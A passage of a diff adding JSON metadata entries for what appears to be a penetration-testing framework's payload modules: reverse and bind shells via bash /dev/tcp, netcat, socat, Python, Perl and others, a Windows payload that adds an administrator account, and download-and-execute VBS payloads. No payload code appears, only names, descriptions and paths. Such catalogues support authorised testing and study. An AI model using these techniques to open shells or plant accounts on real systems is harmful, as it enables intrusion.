"adapted_refname": "python/shell_reverse_tcp_ssl", + "staged": false + }, + "payload_cmd/unix/python/shell_reverse_udp": { + "name": "Python Exec, Command Shell, Reverse UDP (via python)", + "fullname": "payload/cmd/unix/python/shell_reverse_udp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "RageLtMan " + ], + "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/shell_reverse_udp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/shell_reverse_udp", + "staged": false + }, + "payload_cmd/unix/reverse": { + "name": "Unix Command Shell, Double Reverse TCP (telnet)", + "fullname": "payload/cmd/unix/reverse", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "hdm " + ], + "description": "Creates an interactive shell through two inbound connections", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_awk": { + "name": "Unix Command Shell, Reverse TCP (via AWK)", + "fullname": "payload/cmd/unix/reverse_awk", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "espreto ", + "Ulisses Castro ", + "Gabriel Quadros " + ], + "description": "Creates an interactive shell via GNU AWK", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_awk.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_awk", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_bash": { + "name": "Unix Command Shell, Reverse TCP (/dev/tcp)", + "fullname": "payload/cmd/unix/reverse_bash", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "hdm " + ], + "description": "Creates an interactive shell via bash's builtin /dev/tcp.\n\n This will not work on circa 2009 and older Debian-based Linux\n distributions (including Ubuntu) because they compile bash\n without the /dev/tcp feature.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_bash.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_bash", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_bash_telnet_ssl": { + "name": "Unix Command Shell, Reverse TCP SSL (telnet)", + "fullname": "payload/cmd/unix/reverse_bash_telnet_ssl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Creates an interactive shell via mkfifo and telnet.\n This method works on Debian and other systems compiled\n without /dev/tcp support. This module uses the '-z'\n option included on some systems to encrypt using SSL.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_bash_telnet_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_bash_udp": { + "name": "Unix Command Shell, Reverse UDP (/dev/udp)", + "fullname": "payload/cmd/unix/reverse_bash_udp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "hdm ", + "bcoles " + ], + "description": "Creates an interactive shell via bash's builtin /dev/udp.\n\n This will not work on circa 2009 and older Debian-based Linux\n distributions (including Ubuntu) because they compile bash\n without the /dev/udp feature.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_bash_udp.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_bash_udp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_jjs": { + "name": "Unix Command Shell, Reverse TCP (via jjs)", + "fullname": "payload/cmd/unix/reverse_jjs", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "conerpirate", + "bcoles " + ], + "description": "Connect back and create a command shell via jjs", + "references": [ + "URL-https://gtfobins.github.io/gtfobins/jjs/", + "URL-https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/", + "URL-https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html" + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_jjs.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_jjs", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_ksh": { + "name": "Unix Command Shell, Reverse TCP (via Ksh)", + "fullname": "payload/cmd/unix/reverse_ksh", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Wang Yihang " + ], + "description": "Connect back and create a command shell via Ksh. Note: Although Ksh is often\n available, please be aware it isn't usually installed by default.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_ksh.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_ksh", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_lua": { + "name": "Unix Command Shell, Reverse TCP (via Lua)", + "fullname": "payload/cmd/unix/reverse_lua", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "xistence " + ], + "description": "Creates an interactive shell via Lua", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_lua.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_lua", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_ncat_ssl": { + "name": "Unix Command Shell, Reverse TCP (via ncat)", + "fullname": "payload/cmd/unix/reverse_ncat_ssl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "C_Sto" + ], + "description": "Creates an interactive shell via ncat, utilizing ssl mode", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_ncat_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_netcat": { + "name": "Unix Command Shell, Reverse TCP (via netcat)", + "fullname": "payload/cmd/unix/reverse_netcat", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "m-1-k-3", + "egypt ", + "juan vazquez " + ], + "description": "Creates an interactive shell via netcat", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_netcat.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_netcat", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_netcat_gaping": { + "name": "Unix Command Shell, Reverse TCP (via netcat -e)", + "fullname": "payload/cmd/unix/reverse_netcat_gaping", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "hdm " + ], + "description": "Creates an interactive shell via netcat", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_netcat_gaping", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_nodejs": { + "name": "Unix Command Shell, Reverse TCP (via nodejs)", + "fullname": "payload/cmd/unix/reverse_nodejs", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "joev " + ], + "description": "Continually listen for a connection and spawn a command shell via nodejs", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_nodejs.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_nodejs", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_openssl": { + "name": "Unix Command Shell, Double Reverse TCP SSL (openssl)", + "fullname": "payload/cmd/unix/reverse_openssl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "hdm " + ], + "description": "Creates an interactive shell through two inbound connections", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_openssl.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_openssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_perl": { + "name": "Unix Command Shell, Reverse TCP (via Perl)", + "fullname": "payload/cmd/unix/reverse_perl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "cazz " + ], + "description": "Creates an interactive shell via perl", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_perl.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_perl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_perl_ssl": { + "name": "Unix Command Shell, Reverse TCP SSL (via perl)", + "fullname": "payload/cmd/unix/reverse_perl_ssl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Creates an interactive shell via perl, uses SSL", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_perl_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_php_ssl": { + "name": "Unix Command Shell, Reverse TCP SSL (via php)", + "fullname": "payload/cmd/unix/reverse_php_ssl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Creates an interactive shell via php, uses SSL", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_php_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_python": { + "name": "Unix Command Shell, Reverse TCP (via Python)", + "fullname": "payload/cmd/unix/reverse_python", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "bcoles " + ], + "description": "Connect back and create a command shell via Python", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_python", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_python_ssl": { + "name": "Unix Command Shell, Reverse TCP SSL (via python)", + "fullname": "payload/cmd/unix/reverse_python_ssl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Creates an interactive shell via python, uses SSL, encodes with base64 by design.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-08 06:44:37 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_python_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_r": { + "name": "Unix Command Shell, Reverse TCP (via R)", + "fullname": "payload/cmd/unix/reverse_r", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Connect back and create a command shell via R", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_r.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_r", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_ruby": { + "name": "Unix Command Shell, Reverse TCP (via Ruby)", + "fullname": "payload/cmd/unix/reverse_ruby", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "kris katterjohn " + ], + "description": "Connect back and create a command shell via Ruby", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_ruby.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_ruby", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_ruby_ssl": { + "name": "Unix Command Shell, Reverse TCP SSL (via Ruby)", + "fullname": "payload/cmd/unix/reverse_ruby_ssl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Connect back and create a command shell via Ruby, uses SSL", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_ruby_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_socat_sctp": { + "name": "Unix Command Shell, Reverse SCTP (via socat)", + "fullname": "payload/cmd/unix/reverse_socat_sctp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Creates an interactive shell via socat", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-04-27 16:21:34 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_socat_sctp.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_socat_sctp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_socat_udp": { + "name": "Unix Command Shell, Reverse UDP (via socat)", + "fullname": "payload/cmd/unix/reverse_socat_udp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Creates an interactive shell via socat", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_socat_udp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_ssh": { + "name": "Unix Command Shell, Reverse TCP SSH", + "fullname": "payload/cmd/unix/reverse_ssh", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan ", + "hirura" + ], + "description": "Connect back and create a command shell via SSH", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_ssh.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_ssh", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_ssl_double_telnet": { + "name": "Unix Command Shell, Double Reverse TCP SSL (telnet)", + "fullname": "payload/cmd/unix/reverse_ssl_double_telnet", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "hdm ", + "RageLtMan " + ], + "description": "Creates an interactive shell through two inbound connections, encrypts using SSL via \"-z\" option", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_ssl_double_telnet", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_stub": { + "name": "Unix Command Shell, Reverse TCP (stub)", + "fullname": "payload/cmd/unix/reverse_stub", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "hdm " + ], + "description": "Creates an interactive shell through an inbound connection (stub only, no payload)", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_stub.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_stub", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_tclsh": { + "name": "Unix Command Shell, Reverse TCP (via Tclsh)", + "fullname": "payload/cmd/unix/reverse_tclsh", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "bcoles " + ], + "description": "Creates an interactive shell via Tclsh", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_tclsh.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_tclsh", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/reverse_zsh": { + "name": "Unix Command Shell, Reverse TCP (via Zsh)", + "fullname": "payload/cmd/unix/reverse_zsh", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Doug Prostko ", + "Wang Yihang " + ], + "description": "Connect back and create a command shell via Zsh. Note: Although Zsh is often\n available, please be aware it isn't usually installed by default.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_zsh.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_zsh", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/windows/adduser": { + "name": "Windows Execute net user /ADD CMD", + "fullname": "payload/cmd/windows/adduser", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "hdm ", + "scriptjunkie", + "Chris John Riley" + ], + "description": "Create a new user and add them to local administration group.\n\n Note: The specified password is checked for common complexity\n requirements to prevent the target machine rejecting the user\n for failing to meet policy requirements.\n\n Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/windows/adduser.rb", + "is_install_path": true, + "ref_name": "cmd/windows/adduser", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/windows/bind_lua": { + "name": "Windows Command Shell, Bind TCP (via Lua)", + "fullname": "payload/cmd/windows/bind_lua", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "xistence " + ], + "description": "Listen for a connection and spawn a command shell via Lua", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/windows/bind_lua.rb", + "is_install_path": true, + "ref_name": "cmd/windows/bind_lua", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/windows/bind_perl": { + "name": "Windows Command Shell, Bind TCP (via Perl)", + "fullname": "payload/cmd/windows/bind_perl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Samy ", + "cazz ", + "aushack " + ], + "description": "Listen for a connection and spawn a command shell via perl (persistent)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/windows/bind_perl.rb", + "is_install_path": true, + "ref_name": "cmd/windows/bind_perl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/windows/bind_perl_ipv6": { + "name": "Windows Command Shell, Bind TCP (via perl) IPv6", + "fullname": "payload/cmd/windows/bind_perl_ipv6", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Samy ", + "cazz ", + "aushack " + ], + "description": "Listen for a connection and spawn a command shell via perl (persistent)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb", + "is_install_path": true, + "ref_name": "cmd/windows/bind_perl_ipv6", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/windows/bind_ruby": { + "name": "Windows Command Shell, Bind TCP (via Ruby)", + "fullname": "payload/cmd/windows/bind_ruby", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "kris katterjohn " + ], + "description": "Continually listen for a connection and spawn a command shell via Ruby", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/windows/bind_ruby.rb", + "is_install_path": true, + "ref_name": "cmd/windows/bind_ruby", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/windows/download_eval_vbs": { + "name": "Windows Executable Download and Evaluate VBS", + "fullname": "payload/cmd/windows/download_eval_vbs", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "scriptjunkie" + ], + "description": "Downloads a file from an HTTP(S) URL and executes it as a vbs script.\n Use it to stage a vbs encoded payload from a short command line.", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/windows/download_eval_vbs.rb", + "is_install_path": true, + "ref_name": "cmd/windows/download_eval_vbs", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/windows/download_exec_vbs": { + "name": "Windows Executable Download and Execute (via .vbs)", + "fullname": "payload/cmd/windows/download_exec_vbs", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "scriptjunkie" + ], + "description": "Download an EXE from an HTTP(S) URL and execute it", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/windows/download_exec_vbs.rb", + "is_install_path": true, + "ref_name": "cmd/windows/download_exec_vbs", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/windows/generic": { + "name": "Windows Command, Generic Command Execution", + "fullname": "payload/cmd/windows/generic", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "juan vazquez " + ], + "description": "Executes the supplied command", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/windows/generic.rb", + "is_install_path": true, + "ref_name": "cmd/windows/generic", + "check": false, + "post_auth": false, + "default_credential": false, 